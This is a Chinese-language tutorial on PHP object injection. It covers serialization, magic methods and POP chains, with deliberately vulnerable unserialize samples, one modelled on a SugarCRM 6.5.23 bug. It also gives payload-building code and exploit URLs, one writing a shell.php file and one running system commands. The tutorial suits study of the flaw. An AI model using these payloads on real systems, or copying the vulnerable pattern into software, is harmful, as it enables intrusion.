PHP 的物件注入
在理解物件注入之前要知道的一些東西。
PHP中的序列化
在說序列化之前,我記得以前有過這樣一個疑問:為什麼需要序列化? 後來我在網上搜到了這樣一個回答很好的解決了我的疑問。
“你有一個應用程式,需要傳一些資料給其它應用程式,但資料儲存在你的程序的堆疊中,其它程序無法訪問你的應用程式程序的堆疊,要想把你的程式的資料給其它程式使用,必須將資料以某種形式傳給其它程序,這個‘某種形式’就是序列化 。”
寫了一小段程式碼來檢視PHP不同型別變數序列化後的樣子。
<?php $v1 = 123; $v2 = 1.23; $v3 = '123'; $v4 = true; $v5 = array(); $v6 = array('key'=>1,2,3); class base{ } class base2{ public $v = '123'; } $v7 = new base; $v8 = new base2; $i = 1; while($i < 9){ echo serialize(${'v'.$i})."\n"; //PHP使用serialize函式進行序列化 $i ++; } ?>
輸出:
i:123; //整數型別:值;
d:1.23; //雙精度型別
s:3:"123"; //字串型別:字串長度:字串的值;
b:1; //布林型別,0或1
a:0:{} //陣列型別:元素個數:{}
a:3:{s:3:"key";i:1;i:0;i:2;i:1;i:3;}
O:4:"base":0:{} //物件型別:類名長度:類名:屬性個數:{}
O:5:"base2":1:{s:1:"v";s:3:"123";}
可以看到變數序列化後會變成帶有資料型別和值的字串。其中陣列的花括號里根據元素的鍵名和值(序列化後)依次排列,類物件的花括號裡則是根據成員變數名和值(序列化後)依次排列。物件要留意的是隻會序列化成員變數,而不會序列化其中的方法,執行序列化的程式碼還必須包含該類的定義。
PHP中的反序列化
反序列化就是將變數序列化後形成的字串還原成原來的資料。可以寫程式碼來看一下這個過程。
<?php
$v1 = unserialize('s:3:"123";'); //PHP使用unserialize函式進行反序列化
class base2{
public $v;
}
$v2 = unserialize('O:5:"base2":1:{s:1:"v";s:3:"123";}');
var_dump($v1);
var_dump($v2);
?>
輸出:
string(3) "123" object(base2)#1 (1) { ["v"]=> string(3) "123" }
可以看到反序列化後會得到原來的資料。要留意的是物件的反序列化程式碼中同樣需要含有該類的定義。
PHP中的魔術方法
PHP的類含有一些實現特定功能的魔術方法,在物件注入的時候會用上這些方法。可以先來看一下這些方法的特點。
__construct() 在類例項化成物件的時候自動呼叫
__destruct() 在物件不再被使用時(將所有該物件的引用設為null)或者程式退出時自動呼叫
__sleep() 在物件被序列化前自動呼叫,該函式需要返回以類成員變數名作為元素的陣列(該數組裡的元素會影響類成員變數是否被序列化。只有出現在該陣列元素裡的類成員變數才會被序列化)
__wakeup() 在反序列化後自動呼叫
__toString() 在物件被當作字串使用時自動呼叫
__invoke() 在物件被當作函式使用時自動呼叫
這裡只是列了其中幾個,PHP的類還包含一些用來實現屬性和方法過載的魔術方法等等。 寫程式碼來觀察這些魔術方法被自動呼叫的過程。
<?php
class Base{
public $v1 = 123;
public $v2 = '123';
public function __construct(){
echo "__construct is running.\n";
}
public function __destruct(){
echo "__destruct is running.\n";
}
public function __sleep(){
echo "__sleep is running.\n";
return array('v1'); //這裡只返回了v1,所以v2不會被序列化
}
public function __wakeup(){
echo "__wakeup is running.\n";
}
public function __toString(){
return "__toString is running.\n";
}
public function __invoke(){
echo "__invoke is running.\n";
}
}
$test = new Base();
$s_test = serialize($test);
print $s_test."\n";
$us_test = unserialize($s_test);
echo $test;
$test();
?>
輸出:
__construct is running.
__sleep is running.
O:4:"Base":1:{s:2:"v1";i:123;}
__wakeup is running.
__toString is running.
__invoke is running.
__destruct is running.
__destruct is running.
通過輸出和之前的介紹,可以清楚的知道這些魔術方法在什麼時候會被自動呼叫,這點對下面的物件注入是很重要的。
物件注入
往當前程式裡注入一個定義好的類的物件。再結合類裡的魔術方法中的一些存在安全問題的函式來進行攻擊。這裡可能造成的攻擊是多種多樣的,例如程式碼執行,SQLi等等。該型別漏洞高度依賴於魔術方法的自動觸發特點。
物件注入漏洞出現的兩個前提條件:
- unserialize的引數可控。
- 程式碼裡有定義一個含有魔術方法的類,並且該方法裡出現一些使用類成員變數作為引數的存在安全問題的函式。
簡化之前SugarCRM v6.5.23物件注入漏洞寫的一個程式碼例子:
<?php
class CacheFile{
protected $_localStore = array();
protected $_cacheFileName = 'externalCache.php';
protected $_cacheChanged = false;
function __construct(){
//some code...
}
function __destruct(){
if($this->_cacheChanged)
file_put_contents($this->_cacheFileName, serialize($this->_localStore));
}
function __wakeup(){
//some code...
}
}
$data = unserialize($_REQUEST['rest_data']);
?>
構造payload的程式碼:
<?php
class CacheFile{
protected $_localStore = '<?php phpinfo();?>';
protected $_cacheFileName = 'shell.php';
protected $_cacheChanged = true;
}
print urlencode(serialize(new CacheFile()));
?>
利用:
http://hack.lo/obi/?rest_data=O%3A9%3A%22CacheFile%22%3A3%3A{s%3A14%3A%22%00*%00_localStore%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo()%3B%3F%3E%22%3Bs%3A17%3A%22%00*%00_cacheFileName%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A16%3A%22%00*%00_cacheChanged%22%3Bb%3A1%3B}
要留意類成員變數的訪問限制關鍵字。
POP Chain
POP(Property-Oriented Programming),是Esser在2009年的時候提出的一個物件注入的利用方法。當你找到的魔術方法不可以直接利用,但它有呼叫其它方法或者使用其它的變數時,可以在其它的類中尋找同名的方法或是變數,直到到達一個可以利用的點。這樣的攻擊方法稱為程式碼複用攻擊(將記憶體中的程式碼片段一點一點的組合起來,並最終構造成一個可以利用的payload)。這個一步一步把程式碼連起來的攻擊過程在PHP應用裡被稱為構造POP鏈對物件注入漏洞進行利用。 漏洞程式碼例子:
<?php
class Systeminfo{
public $cmd = 'systeminfo';
public function getinfo(){
system($this->cmd);
}
public function show(){
$this->getinfo();
}
}
class Books{
public $bookname = 'This is bookname!';
public function show(){
echo $this->bookname;
}
}
class Display{
public $handle;
public function __construct(){
$this->handle = new Books();
}
public function __destruct(){
$this->handle->show();
}
}
$data = unserialize($_REQUEST['data']);
?>
構造payload的程式碼:
<?php
class Systeminfo{
public $cmd = 'whoami';
}
class Display{
public $handle;
function __construct(){
$this->handle = new Systeminfo;
}
}
print serialize(new Display);
?>
利用:
http://hack.lo/obi/pop.php?data=O:7:"Display":1:{s:6:"handle";O:10:"Systeminfo":1:{s:3:"cmd";s:6:"whoami";}}
如何去發現該漏洞
- 尋找程式碼中引數可控的unserialize函式。
- 尋找類含有的魔術方法,觀察找到的魔術方法的實現看能否被利用。
當找到一個引數可控的unserialize函式時,可以利用get_included_files來檢視當前指令碼包含有哪些檔案,從而在這些檔案裡找有定義的類,再在這些類中找魔術方法。